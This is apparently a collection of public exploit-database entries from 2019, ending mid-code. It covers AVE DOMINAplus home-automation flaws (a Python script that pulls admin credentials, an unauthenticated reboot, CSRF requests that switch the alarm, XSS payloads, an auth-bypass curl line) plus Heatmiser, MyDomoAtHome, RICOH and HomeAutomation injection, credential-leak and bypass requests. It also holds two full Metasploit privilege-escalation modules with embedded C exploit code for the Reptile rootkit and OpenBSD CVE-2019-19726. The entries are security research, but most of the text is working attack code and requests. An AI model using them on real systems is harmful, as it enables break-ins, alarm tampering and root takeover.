# App version: 1.10.77
# App version: 1.10.65
# App version: 1.10.64
# App version: 1.10.62
# App version: 1.10.60
# App version: 1.10.52
# App version: 1.10.52A
# App version: 1.10.49
# App version: 1.10.46
# App version: 1.10.45
# App version: 1.10.44
# App version: 1.10.35
# App version: 1.10.25
# App version: 1.10.22
# App version: 1.10.11
# App version: 1.8.4
# App version: TS1-1.0.65
# App version: TS1-1.0.62
# App version: TS1-1.0.44
# App version: TS1-1.0.10
# App version: TS1-1.0.9
#
# Summary: DOMINAplus - Sistema Domotica Avanzato. Advanced Home Automation System.
# Designed to revolutionize your concept of living. DOMINA plus is the AVE home
# automation proposal that makes houses safer, more welcoming and optimized. In
# fact, our home automation system introduces cutting-edge technologies, designed
# to improve people's lifestyle. DOMINA plus increases comfort, the level of safety
# and security and offers advanced supervision tools in order to learn how to evaluate
# and reduce consumption through various solutions dedicated to energy saving.
#
# Desc: The application suffers from clear-text credentials disclosure vulnerability
# that allows an unauthenticated attacker to issue a request to an unprotected directory
# that hosts an XML file '/xml/authClients.xml' and obtain administrative login information
# that allows for a successful authentication bypass attack.
#
# Default credentials: admin:password
# Configuration and camera credentials disclosure: /xml/tsconf.xml
#
# ==================================================
# root@kali:~/domina# ./poc.py http://192.168.1.10
#
# Ze microfilm:
# -------------
# Username: arnoldcontrol
# Password: P1sD0nt5pYMe
# ==================================================
#
# Tested on: GNU/Linux 4.1.19-armv7-x7
# GNU/Linux 3.8.13-bone50/bone71.1/bone86
# Apache/2.4.7 (Ubuntu)
# Apache/2.2.22 (Debian)
# PHP/5.5.9-1ubuntu4.23
# PHP/5.4.41-0+deb7u1
# PHP/5.4.36-0+deb7u3
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
# @zeroscience
#
#
# Advisory ID: ZSL-2019-5550
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5550.php
#
#
# 06.10.2019
#
import sys,re
import xml.etree.ElementTree as XML
from urllib2 import Request,urlopen
if (len(sys.argv) <= 1):
print '[*] Usage: poc.py http://ip:port'
exit(0)
host = sys.argv[1]
headers = {'Accept': 'application/xml'}
request = Request(host+'/xml/authClients.xml', headers=headers)
print '\nZe microfilm:'
print '-------------'
xml = urlopen(request).read()
tree = XML.fromstring(xml)
for user in tree.findall('customer'):
print 'Username: ',user.get('plantCode')
for pwd in tree.iter('password'):
print 'Password: '+pwd.text+'\n'

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# Exploit: AVE DOMINAplus 1.10.x - Unauthenticated Remote Reboot
# Date: 2019-12-30
# Author: LiquidWorm
# Vendor: AVE S.p.A.
# Product web page: https://www.ave.it | https://www.domoticaplus.it
# Affected version: Web Server Code 53AB-WBS - 1.10.62
# Advisory ID: ZSL-2019-5548
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5548.php
AVE DOMINAplus <=1.10.x Unauthenticated Remote Reboot
Vendor: AVE S.p.A.
Product web page: https://www.ave.it | https://www.domoticaplus.it
Affected version: Web Server Code 53AB-WBS - 1.10.62
Touch Screen Code TS01 - 1.0.65
Touch Screen Code TS03x-V | TS04X-V - 1.10.45a
Touch Screen Code TS05 - 1.10.36
Models: 53AB-WBS
TS01
TS03V
TS04X-V
TS05N-V
App version: 1.10.77
App version: 1.10.65
App version: 1.10.64
App version: 1.10.62
App version: 1.10.60
App version: 1.10.52
App version: 1.10.52A
App version: 1.10.49
App version: 1.10.46
App version: 1.10.45
App version: 1.10.44
App version: 1.10.35
App version: 1.10.25
App version: 1.10.22
App version: 1.10.11
App version: 1.8.4
App version: TS1-1.0.65
App version: TS1-1.0.62
App version: TS1-1.0.44
App version: TS1-1.0.10
App version: TS1-1.0.9
Summary: DOMINAplus - Sistema Domotica Avanzato. Advanced Home Automation System.
Designed to revolutionize your concept of living. DOMINA plus is the AVE home
automation proposal that makes houses safer, more welcoming and optimized. In
fact, our home automation system introduces cutting-edge technologies, designed
to improve people's lifestyle. DOMINA plus increases comfort, the level of safety
and security and offers advanced supervision tools in order to learn how to
evaluate and reduce consumption through various solutions dedicated to energy
saving.
Desc: The application suffers from an unauthenticated reboot command execution.
Attackers can exploit this issue to cause a denial of service scenario.
Tested on: GNU/Linux 4.1.19-armv7-x7
GNU/Linux 3.8.13-bone50/bone71.1/bone86
Apache/2.4.7 (Ubuntu)
Apache/2.2.22 (Debian)
PHP/5.5.9-1ubuntu4.23
PHP/5.4.41-0+deb7u1
PHP/5.4.36-0+deb7u3
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2019-5548
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5548.php
06.10.2019
--
curl -sk https://192.168.1.10/restart.php >/dev/null

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# Exploit: AVE DOMINAplus 1.10.x - Cross-Site Request Forgery (enable/disable alarm)
# Date: 2019-12-30
# Author: LiquidWorm
# Vendor: AVE S.p.A.
# Product web page: https://www.ave.it | https://www.domoticaplus.it
# Affected version: Web Server Code 53AB-WBS - 1.10.62
# Advisory ID: ZSL-2019-5547
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5547.php
AVE DOMINAplus <=1.10.x CSRF/XSS Vulnerabilities
Vendor: AVE S.p.A.
Product web page: https://www.ave.it | https://www.domoticaplus.it
Affected version: Web Server Code 53AB-WBS - 1.10.62
Touch Screen Code TS01 - 1.0.65
Touch Screen Code TS03x-V | TS04X-V - 1.10.45a
Touch Screen Code TS05 - 1.10.36
Models: 53AB-WBS
TS01
TS03V
TS04X-V
TS05N-V
App version: 1.10.77
App version: 1.10.65
App version: 1.10.64
App version: 1.10.62
App version: 1.10.60
App version: 1.10.52
App version: 1.10.52A
App version: 1.10.49
App version: 1.10.46
App version: 1.10.45
App version: 1.10.44
App version: 1.10.35
App version: 1.10.25
App version: 1.10.22
App version: 1.10.11
App version: 1.8.4
App version: TS1-1.0.65
App version: TS1-1.0.62
App version: TS1-1.0.44
App version: TS1-1.0.10
App version: TS1-1.0.9
Summary: DOMINAplus - Sistema Domotica Avanzato. Advanced Home Automation System.
Designed to revolutionize your concept of living. DOMINA plus is the AVE home
automation proposal that makes houses safer, more welcoming and optimized. In
fact, our home automation system introduces cutting-edge technologies, designed
to improve people's lifestyle. DOMINA plus increases comfort, the level of safety
and security and offers advanced supervision tools in order to learn how to
evaluate and reduce consumption through various solutions dedicated to energy
saving.
Desc: The application suffers from multiple CSRF and XSS vulnerabilities. The
application allows users to perform certain actions via HTTP requests without
performing any validity checks to verify the requests. This can be exploited
to perform certain actions with administrative privileges if a logged-in user
visits a malicious web site. Input passed to several GET/POST parameters is not
properly sanitised before being returned to the user. This can be exploited to
execute arbitrary HTML and script code in a user's browser session in context
of an affected site.
Tested on: GNU/Linux 4.1.19-armv7-x7
GNU/Linux 3.8.13-bone50/bone71.1/bone86
Apache/2.4.7 (Ubuntu)
Apache/2.2.22 (Debian)
PHP/5.5.9-1ubuntu4.23
PHP/5.4.41-0+deb7u1
PHP/5.4.36-0+deb7u3
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2019-5547
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5547.php
06.10.2019
--
Reflected XSS in User and Password POST parameters in login.php:
--
<html>
<body>
<form action="http://192.168.1.10/login.php" method="POST">
<input type="hidden" name="cmd" value="doLogin" />
<input type="hidden" name="User" value=""><marquee>SLIDERS<&#47;marquee>" />
<input type="hidden" name="Password" value=""><script>confirm&#40;251&#41;<&#47;script>" />
<input type="hidden" name="btnLogin" value="Login" />
<input type="submit" value="Send" />
</form>
</body>
</html>
Example CSRF schedule temperature for day, afternoon, night: 19.0, 18.0, 15.0
--
GET /bridge.php?command=STC&parameter=25,1,1&dati=190,180,150,1454025386,85,-1433059328, HTTP/1.1
Example CSRF enable/disable alarm:
--
GET /antitheft.php?command=Attiva&codice=32&rnd=0.8815229032260505 HTTP/1.1

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# Exploit: AVE DOMINAplus 1.10.x - Authentication Bypass
# Date: 2019-12-30
# Author: LiquidWorm
# Vendor: AVE S.p.A.
# Product web page: https://www.ave.it | https://www.domoticaplus.it
# Affected version: Web Server Code 53AB-WBS - 1.10.62
# Advisory ID: ZSL-2019-5549
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5549.php
AVE DOMINAplus <=1.10.x Authentication Bypass Exploit
Vendor: AVE S.p.A.
Product web page: https://www.ave.it | https://www.domoticaplus.it
Affected version: Web Server Code 53AB-WBS - 1.10.62
Touch Screen Code TS01 - 1.0.65
Touch Screen Code TS03x-V | TS04X-V - 1.10.45a
Touch Screen Code TS05 - 1.10.36
Models: 53AB-WBS
TS01
TS03V
TS04X-V
TS05N-V
App version: 1.10.77
App version: 1.10.65
App version: 1.10.64
App version: 1.10.62
App version: 1.10.60
App version: 1.10.52
App version: 1.10.52A
App version: 1.10.49
App version: 1.10.46
App version: 1.10.45
App version: 1.10.44
App version: 1.10.35
App version: 1.10.25
App version: 1.10.22
App version: 1.10.11
App version: 1.8.4
App version: TS1-1.0.65
App version: TS1-1.0.62
App version: TS1-1.0.44
App version: TS1-1.0.10
App version: TS1-1.0.9
Summary: DOMINAplus - Sistema Domotica Avanzato. Advanced Home Automation System.
Designed to revolutionize your concept of living. DOMINA plus is the AVE home
automation proposal that makes houses safer, more welcoming and optimized. In
fact, our home automation system introduces cutting-edge technologies, designed
to improve people's lifestyle. DOMINA plus increases comfort, the level of safety
and security and offers advanced supervision tools in order to learn how to
evaluate and reduce consumption through various solutions dedicated to energy
saving.
Desc: DOMINAplus suffers from an authentication bypass vulnerability due to missing
control check when directly calling the autologin GET parameter in changeparams.php
script. Setting the autologin value to 1 allows an unauthenticated attacker to
permanently disable the authentication security control and access the management
interface with admin privileges without providing credentials.
Tested on: GNU/Linux 4.1.19-armv7-x7
GNU/Linux 3.8.13-bone50/bone71.1/bone86
Apache/2.4.7 (Ubuntu)
Apache/2.2.22 (Debian)
PHP/5.5.9-1ubuntu4.23
PHP/5.4.41-0+deb7u1
PHP/5.4.36-0+deb7u3
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2019-5549
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5549.php
06.10.2019
--
#
# Mina... Mina, open your eyes!
#
$ curl -s http://192.168.1.10/changeparams.php?operazione=3&autologin=1
1

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# Exploit Title: Heatmiser Netmonitor 3.03 - Hardcoded Credentials
# Date: 2019-12-22
# Exploit Author: Ismail Tasdelen
# Vendor Homepage: https://www.heatmiser.com/en/
# Hardware Link: https://www.zoneregeling.nl/heatmiser/netmonitor-handleiding.pdf
# Software: Netmonitor v3.03
# Product Version: Netmonitor v3.03
# CWE : CWE-798
# Vulenrability: Use of Hard-coded Credentials
# CVE: N/A
# Decription :
# Hard-coded Credentials security vulnerability of Netmonitor model v3.03
# from Heatmiser manufacturer has been discovered. With this
# vulnerability, the hidFrm form in the source code of the page
# anonymously has access to hidden input codes. This information is
# contained in the input field of the hidFrm form in the source code
# lognm and logpd.
HTTP GET Request : /networkSetup.htm HTTP/1.1
<form name="hidFrm" method="post">
<input type="hidden" name="lognm" value="admin">
<input type="hidden" name="logpd" value="admin">
<input type="hidden" name="ip" value="XXX.XXX.XXX.XXX">
<input type="hidden" name="mask" value="XXX.XXX.XXX.XXX">
<input type="hidden" name="gate" value="XXX.XXX.XXX.XXX">
<input type="hidden" name="dns" value="XXX.XXX.XXX.XXX">
<input type="hidden" name="timestr" value="04:27">
<input type="hidden" name="datestr" value="23/12/2019">
<input type="hidden" name="timeflag" ,="" value="0">
<input type="hidden" name="gmtflag" ,="" value="1">
</form>

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# Exploit: MyDomoAtHome REST API Domoticz ISS Gateway 0.2.40 - Information Disclosure
# Date: 2019-12-30
# Author: LiquidWorm
# Vendor: Emmanuel
# Product web page: https://github.com/empierre/MyDomoAtHome
# https://www.domoticz.com/wiki/ImperiHome
# https://docs.imperihome.com/app/iss
# Affected version: 0.2.40
# Advisory ID: ZSL-2019-5555
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5555.php
MyDomoAtHome (MDAH) REST API Domoticz ISS Gateway 0.2.40 Information Disclosure
Vendor: Emmanuel
Product web page: https://github.com/empierre/MyDomoAtHome
https://www.domoticz.com/wiki/ImperiHome
https://docs.imperihome.com/app/iss
Affected version: 0.2.40
Summary: REST Gateway between Domoticz and Imperihome ISS. Domoticz is a home automation
system with a pretty wide library of supported devices, ranging from weather stations to
smoke detectors to remote controls, and a large number of additional third-party integrations
are documented on the project's website. It is designed with an HTML5 frontend, making it
accessible from desktop browsers and most modern smartphones, and is lightweight, running
on many low-power devices like the Raspberry Pi.
Desc: MyDomoAtHome REST API is affected by an information disclosure vulnerability due to
improper access control enforcement. An unauthenticated remote attacker can exploit this,
via a specially crafted request to gain access to sensitive information.
Tested on: NodeJS: 10.15.0, 8.15.1, 8.15.0, 8.11.1, 8.9.4, 4.8.7, 4.2.2
Webmanager/Engine: EJS
Renderer: Express
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2019-5555
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5555.php
07.11.2019
--
--snip--
Device Type string: DevCamera
Param Key Description
----------------------------
localjpegurl Local URL to the JPEG snapshot of the camera (Note : login/pass can be passed like this http://login:pass@url)
localmjpegurl Local URL to the camera's MJPEG stream
remotejpegurl Remote URL to the JPEG snapshot of the camera
remotemjpegurl Remote URL to the camera's MJPEG stream
--snip--
PoC #1:
-------
root@kali:~/domoticz# curl -s http://192.168.0.100:3001/devices |tail -c $((100+850))
[{"value":"http://admin:s3cr3t0P4ssw0rduz@192.168.0.50:8083/cgi-bin/CGIProxy.fcgi?cmd=snapPicture2&usr=admin&pwd=s3cr3t0P4ssw0rduz","key":"localjpegurl"},{"value":"http://192.168.0.50:8083/cgi-bin/CGIProxy.fcgi?cmd=snapPicture2&usr=admin&pwd=s3cr3t0P4ssw0rduz","key":"remotejpegurl"}],"name":"Extérieur","type":"DevCamera","id":"2_cam","room":"Switches"},{"params":[{"value":"http://admin2:An0th3rs3cr3tp4ss@192.168.0.15:8084/cgi-bin/CGIProxy.fcgi?cmd=snapPicture2&usr=admin2&pwd=An0th3rs3cr3tp4ss","key":"localjpegurl"},{"value":"http://192.168.0.50:8083/cgi-bin/CGIProxy.fcgi?cmd=snapPicture2&usr=admin&pwd=s3cr3t0P4ssw0rduz","key":"remotejpegurl"}],"name":"cuisine","type":"DevCamera","id":"3_cam","room":"Switches"},{"params":[{"value":"http://127.0.0.1:8080/uvccapture.cgi","key":"localjpegurl"},{"value":"http://192.168.0.50:8083/cgi-bin/CGIProxy.fcgi?cmd=snapPicture2&usr=admin&pwd=s3cr3t0P4ssw0rduz","key":"remotejpegurl"}],"name":"uvccam","type":"DevCamera","id":"4_cam","room":"Switches"}]}
PoC #2:
-------
root@kali:~/domoticz# curl -s http://192.168.1.100:3001/devices |tail -c $((200-22))
{"id":"C0","name":"Portail","type":"DevCamera","room":"Switches","params":[{"key":"localjpegurl","value":"http://admin:y3T4n0ther1&&@http://192.168.1.210/doc/page/preview.asp"}]}]}

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# Exploit Title: RICOH SP 4510SF Printer - HTML Injection
# Date: 2019-05-06
# Exploit Author: Ismail Tasdelen
# Vendor Homepage: https://www.ricoh.com/
# Hardware Link: http://support.ricoh.com/bb/html/dr_ut_e/re1/model/sp4510/sp4510.htm
# Software: RICOH Printer
# Product Version: SP 4510SF
# Vulernability Type: Code Injection
# Vulenrability: HTML Injection
# CVE: N/A
# Description :
# An HTML Injection vulnerability has been discovered on the RICOH SP 4510SF
# via the /web/entry/en/address/adrsSetUserWizard.cgi entryNameIn parameter.
# HTTP POST Request :
POST /web/entry/en/address/adrsSetUserWizard.cgi HTTP/1.1
Host: XXX.XXX.XXX.XXX
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 218
Origin: http://XXX.XXX.XX.XXX
Connection: close
Referer: http://189.72.192.16/web/entry/en/address/adrsList.cgi
Cookie: risessionid=058916016024825; cookieOnOffChecker=on; wimsesid=314062051
mode=ADDUSER&step=BASE&wimToken=1273767750&entryIndexIn=00001&entryNameIn=%22%3E%3Ch1%3Eismailtasdelen&entryDisplayNameIn=%22%3E%3Ch1%3Eismailtasdelen&entryTagInfoIn=1&entryTagInfoIn=1&entryTagInfoIn=1&entryTagInfoIn=1
# HTTP Response :
HTTP/1.1 200 OK
Date: Fri, 20 Dec 2019 07:59:19 GMT
Server: Web-Server/3.0
Content-Type: text/html; charset=UTF-8
Expires: Fri, 20 Dec 2019 07:59:19 GMT
Pragma: no-cache
Cache-Control: no-cache
Set-Cookie: cookieOnOffChecker=on; path=/
Connection: close
[14]

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# Exploit Title: RICOH Web Image Monitor 1.09 - HTML Injection
# Date: 2019-05-06
# Exploit Author: Ismail Tasdelen
# Vendor Homepage: https://www.ricoh.com/
# Hardware Link: http://support-download.com/services/device/webhlp/nb/gen/v140cc1/en/p_top010.html
# Software: RICOH Web Image Monitor
# Product Version: v1.09
# Vulernability Type: Code Injection
# Vulenrability: HTML Injection
# CVE: N/A
# Descripton :
# It has been discovered that in the v1.09 version of Image Monitor from
# RICOH, HTML Injection can be run on the /web/entry/en/address/adrsSetUserWizard.cgi
# function. This vulnerability affected all hardware that uses the entire
# Image Monitor v1.09.
# Attack Vectors :
You can run HTML Injection on the entryNameIn and entryDisplayNameIn in the corresponding function.
HTML Injection Payload : "><h1>ismailtasdelen

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# Exploit Title: Heatmiser Netmonitor 3.03 - HTML Injection
# Date: 2019-12-22
# Exploit Author: Ismail Tasdelen
# Vendor Homepage: https://www.heatmiser.com/en/
# Hardware Link: https://www.zoneregeling.nl/heatmiser/netmonitor-handleiding.pdf
# Software: Netmonitor v3.03
# Product Version: Netmonitor v3.03
# Vulernability Type: Code Injection
# Vulenrability: HTML Injection
# CVE: N/A
# Description :
# Heatmiser Net Monitor v3.03 allows HTML Injection via the
# outputSetup.htm outputtitle parameter. The HTML Injection
# vulnerability was discovered in v3.03 version of Net Monitor
# from the Heatmiser manufacturer. This vulnerability is
# vulnerable to hardware that use this software.
# HTTP Post Request :
POST /outputSetup.htm HTTP/1.1
Host: XXX.XXX.XXX.XXX
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 95
Origin: http://XXX.XXX.XXX.XXX
Connection: close
Referer: http://TARGET/outputSetup.htm
Upgrade-Insecure-Requests: 1
outputtitle=%22%3E%3Cmarquee%3ETEST%23undefined%23undefined%23undefined%23undefined%23undefined
# HTTP Response :
HTTP/1.1 200 OK
Date: Sun, 22 Dec 2019 20:25:22 GMT
Server: Z-World Rabbit
Connection: close
Content-Type: text/html

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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::File
include Msf::Post::Linux::Priv
include Msf::Post::Linux::System
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Reptile Rootkit reptile_cmd Privilege Escalation',
'Description' => %q{
This module uses Reptile rootkit's `reptile_cmd` backdoor executable
to gain root privileges using the `root` command.
This module has been tested successfully with Reptile from `master`
branch (2019-03-04) on Ubuntu 18.04.3 (x64) and Linux Mint 19 (x64).
},
'License' => MSF_LICENSE,
'Author' =>
[
'f0rb1dd3n', # Reptile
'bcoles' # Metasploit
],
'DisclosureDate' => '2018-10-29', # Reptile first stable release
'References' =>
[
['URL', 'https://github.com/f0rb1dd3n/Reptile'],
['URL', 'https://github.com/f0rb1dd3n/Reptile/wiki/Usage']
],
'Platform' => ['linux'],
'Arch' => [ARCH_X86, ARCH_X64],
'SessionTypes' => ['shell', 'meterpreter'],
'Targets' => [['Auto', {}]],
'Notes' =>
{
'Reliability' => [ REPEATABLE_SESSION ],
'Stability' => [ CRASH_SAFE ]
},
'DefaultTarget' => 0))
register_options [
OptString.new('REPTILE_CMD_PATH', [true, 'Path to reptile_cmd executable', '/reptile/reptile_cmd'])
]
register_advanced_options [
OptBool.new('ForceExploit', [false, 'Override check result', false]),
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
]
end
def reptile_cmd_path
datastore['REPTILE_CMD_PATH']
end
def base_dir
datastore['WritableDir'].to_s
end
def upload(path, data)
print_status "Writing '#{path}' (#{data.size} bytes) ..."
rm_f path
write_file path, data
register_file_for_cleanup path
end
def upload_and_chmodx(path, data)
upload path, data
chmod path
end
def check
unless executable? reptile_cmd_path
vprint_error "#{reptile_cmd_path} is not executable"
return CheckCode::Safe
end
vprint_good "#{reptile_cmd_path} is executable"
res = cmd_exec("echo id|#{reptile_cmd_path} root").to_s.strip
vprint_status "Output: #{res}"
if res.include?('You have no power here!')
vprint_error 'Reptile kernel module is not loaded'
return CheckCode::Safe
end
unless res.include?('root')
vprint_error 'Reptile is not installed'
return CheckCode::Safe
end
vprint_good 'Reptile is installed and loaded'
CheckCode::Vulnerable
end
def exploit
unless check == CheckCode::Vulnerable
unless datastore['ForceExploit']
fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
end
print_warning 'Target does not appear to be vulnerable'
end
if is_root?
unless datastore['ForceExploit']
fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'
end
end
unless writable? base_dir
fail_with Failure::BadConfig, "#{base_dir} is not writable"
end
payload_name = ".#{rand_text_alphanumeric 8..12}"
payload_path = "#{base_dir}/#{payload_name}"
upload_and_chmodx payload_path, generate_payload_exe
print_status 'Executing payload...'
res = cmd_exec "echo '#{payload_path}&' | #{reptile_cmd_path} root & echo "
vprint_line res
end
end

213
exploits/openbsd/local/47803.rb Executable file
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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'OpenBSD Dynamic Loader chpass Privilege Escalation',
'Description' => %q{
This module exploits a vulnerability in the OpenBSD `ld.so`
dynamic loader (CVE-2019-19726).
The `_dl_getenv()` function fails to reset the `LD_LIBRARY_PATH`
environment variable when set with approximately `ARG_MAX` colons.
This can be abused to load `libutil.so` from an untrusted path,
using `LD_LIBRARY_PATH` in combination with the `chpass` set-uid
executable, resulting in privileged code execution.
This module has been tested successfully on:
OpenBSD 6.1 (amd64); and
OpenBSD 6.6 (amd64)
},
'License' => MSF_LICENSE,
'Author' =>
[
'Qualys', # Discovery and exploit
'bcoles' # Metasploit
],
'DisclosureDate' => '2019-12-11',
'Platform' => %w[bsd unix], # OpenBSD
'Arch' => [ARCH_CMD],
'SessionTypes' => ['shell'],
'References' =>
[
['CVE', '2019-19726'],
['EDB', '47780'],
['URL', 'https://blog.qualys.com/laws-of-vulnerabilities/2019/12/11/openbsd-local-privilege-escalation-vulnerability-cve-2019-19726'],
['URL', 'https://www.qualys.com/2019/12/11/cve-2019-19726/local-privilege-escalation-openbsd-dynamic-loader.txt'],
['URL', 'https://www.openwall.com/lists/oss-security/2019/12/11/9'],
['URL', 'https://github.com/bcoles/local-exploits/blob/master/CVE-2019-19726/openbsd-dynamic-loader-chpass'],
['URL', 'https://ftp.openbsd.org/pub/OpenBSD/patches/6.6/common/013_ldso.patch.sig']
],
'Targets' => [['Automatic', {}]],
'DefaultOptions' =>
{
'PAYLOAD' => 'cmd/unix/reverse',
'WfsDelay' => 10
},
'DefaultTarget' => 0))
register_options [
OptString.new('CHPASS_PATH', [true, 'Path to chpass', '/usr/bin/chpass'])
]
register_advanced_options [
OptBool.new('ForceExploit', [false, 'Override check result', false]),
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
]
end
def base_dir
datastore['WritableDir'].to_s
end
def chpass_path
datastore['CHPASS_PATH']
end
def upload(path, data)
print_status "Writing '#{path}' (#{data.size} bytes) ..."
rm_f path
write_file path, data
register_file_for_cleanup path
end
def is_root?
(cmd_exec('id -u').to_s.gsub(/[^\d]/, '') == '0')
end
def libutil_name
return unless command_exists? 'readelf'
cmd_exec('readelf -a /usr/sbin/pwd_mkdb').to_s.scan(/\[(libutil\.so\.[\d\.]+)\]/).flatten.first
end
def check
patches = cmd_exec('syspatch -l').to_s
patch = '013_ldso'
if patches.include? patch
vprint_error "Patch #{patch} has been installed. Target is not vulnerable."
return CheckCode::Safe
end
vprint_good "Patch #{patch} is not present"
unless command_exists? 'cc'
vprint_error 'cc is not installed'
return CheckCode::Safe
end
print_good 'cc is installed'
CheckCode::Detected
end
def exploit
unless check == CheckCode::Detected
unless datastore['ForceExploit']
fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
end
print_warning 'Target does not appear to be vulnerable'
end
if is_root?
unless datastore['ForceExploit']
fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'
end
end
unless writable? base_dir
fail_with Failure::BadConfig, "#{base_dir} is not writable"
end
# Qualys set-uid shared object from https://www.openwall.com/lists/oss-security/2019/12/11/9
lib_data = <<-EOF
#include <paths.h>
#include <unistd.h>
static void __attribute__ ((constructor)) _init (void) {
if (setuid(0) != 0) _exit(__LINE__);
if (setgid(0) != 0) _exit(__LINE__);
char * const argv[] = { _PATH_KSHELL, "-c", _PATH_KSHELL "; exit 1", NULL };
execve(argv[0], argv, NULL);
_exit(__LINE__);
}
EOF
libs = []
lib = libutil_name
if lib
libs << lib
print_good "Found libutil.so name: #{lib}"
else
libs << 'libutil.so.12.1'
libs << 'libutil.so.13.1'
print_warning "Could not determine libutil.so name. Using: #{libs.join(', ')}"
end
lib_src_path = "#{base_dir}/.#{rand_text_alphanumeric 5..10}.c"
upload lib_src_path, lib_data
libs.each do |lib_name|
lib_path = "#{base_dir}/#{lib_name}"
print_status "Compiling #{lib_path} ..."
output = cmd_exec "cc -fpic -shared -s -o #{lib_path} #{lib_src_path} -Wall"
register_file_for_cleanup lib_path
unless output.blank?
print_error output
fail_with Failure::Unknown, "#{lib_path}.c failed to compile"
end
end
# Qualys exploit from https://www.openwall.com/lists/oss-security/2019/12/11/9
exploit_data = <<-EOF
#include <string.h>
#include <sys/param.h>
#include <sys/resource.h>
#include <unistd.h>
int
main(int argc, char * const * argv)
{
#define LLP "LD_LIBRARY_PATH=."
static char llp[ARG_MAX - 128];
memset(llp, ':', sizeof(llp)-1);
memcpy(llp, LLP, sizeof(LLP)-1);
char * const envp[] = { llp, "EDITOR=echo '#' >>", NULL };
#define DATA (ARG_MAX * sizeof(char *))
const struct rlimit data = { DATA, DATA };
if (setrlimit(RLIMIT_DATA, &data) != 0) _exit(__LINE__);
if (argc <= 1) _exit(__LINE__);
argv += 1;
execve(argv[0], argv, envp);
_exit(__LINE__);
}
EOF
exploit_path = "#{base_dir}/.#{rand_text_alphanumeric 5..10}"
upload "#{exploit_path}.c", exploit_data
print_status "Compiling #{exploit_path} ..."
output = cmd_exec "cc -s #{exploit_path}.c -o #{exploit_path} -Wall"
register_file_for_cleanup exploit_path
unless output.blank?
print_error output
fail_with Failure::Unknown, "#{exploit_path}.c failed to compile"
end
payload_path = "#{base_dir}/.#{rand_text_alphanumeric 5..10}"
upload payload_path, "#!/bin/sh\n#{payload.encoded}\n"
chmod payload_path
print_status 'Launching exploit...'
output = cmd_exec("cd #{base_dir};echo '#{payload_path}&exit'|#{exploit_path} #{chpass_path}")
output.each_line { |line| vprint_status line.chomp }
end
end

248
exploits/php/webapps/47807.txt Normal file
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# Exploit: HomeAutomation 3.3.2 - Authentication Bypass
# Date: 2019-12-30
# Author: LiquidWorm
# Vendor: Tom Rosenback and Daniel Malmgren
# Product web page: http://karpero.mine.nu/ha/
# Affected version: 3.3.2
# Tested on: Apache/2.4.41 (centos) OpenSSL/1.0.2k-fips
# Advisory ID: ZSL-2019-5557
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5557.php
HomeAutomation v3.3.2 Authentication Bypass Exploit
Vendor: Tom Rosenback and Daniel Malmgren
Product web page: http://karpero.mine.nu/ha/
Affected version: 3.3.2
Summary: HomeAutomation is an open-source web interface and scheduling solution.
It was initially made for use with the Telldus TellStick, but is now based on a
plugin system and except for Tellstick it also comes with support for Crestron,
OWFS and Z-Wave (using OpenZWave). It controls your devices (switches, dimmers,
etc.) based on an advanced scheduling system, taking into account things like
measurements from various sensors. With the houseplan view you can get a simple
overview of the status of your devices at their location in your house.
Desc: The application suffers from an authentication bypass vulnerability when
spoofing client IP address using the X-Forwarded-For header with the local (loopback)
IP address value allowing remote control of the smart home solution.
===============================================================================
/modules/login/login.module.php:
--------------------------------
19: if(!defined("HomeAutomationIncluded")) { die("HomeAutomation: Direct access not premitted"); }
20:
21: if($_SESSION[CFG_SESSION_KEY]["userlevel"] < 1 && $action == "default" && isIpLocal() && getFormVariable("autologin", "") == "")
22: {
23: // if user is not logged in and action is default, user is visiting locally and autologin is NOT set, allow autologin.
24: $action = "login";
25: }
26:
27: ?>
===============================================================================
/functions.php:
---------------
733: function isIpLocal() {
734:
735: if(substr(getIpAddress(), 0, 4) == "127.") {
736: return true;
737: }
738:
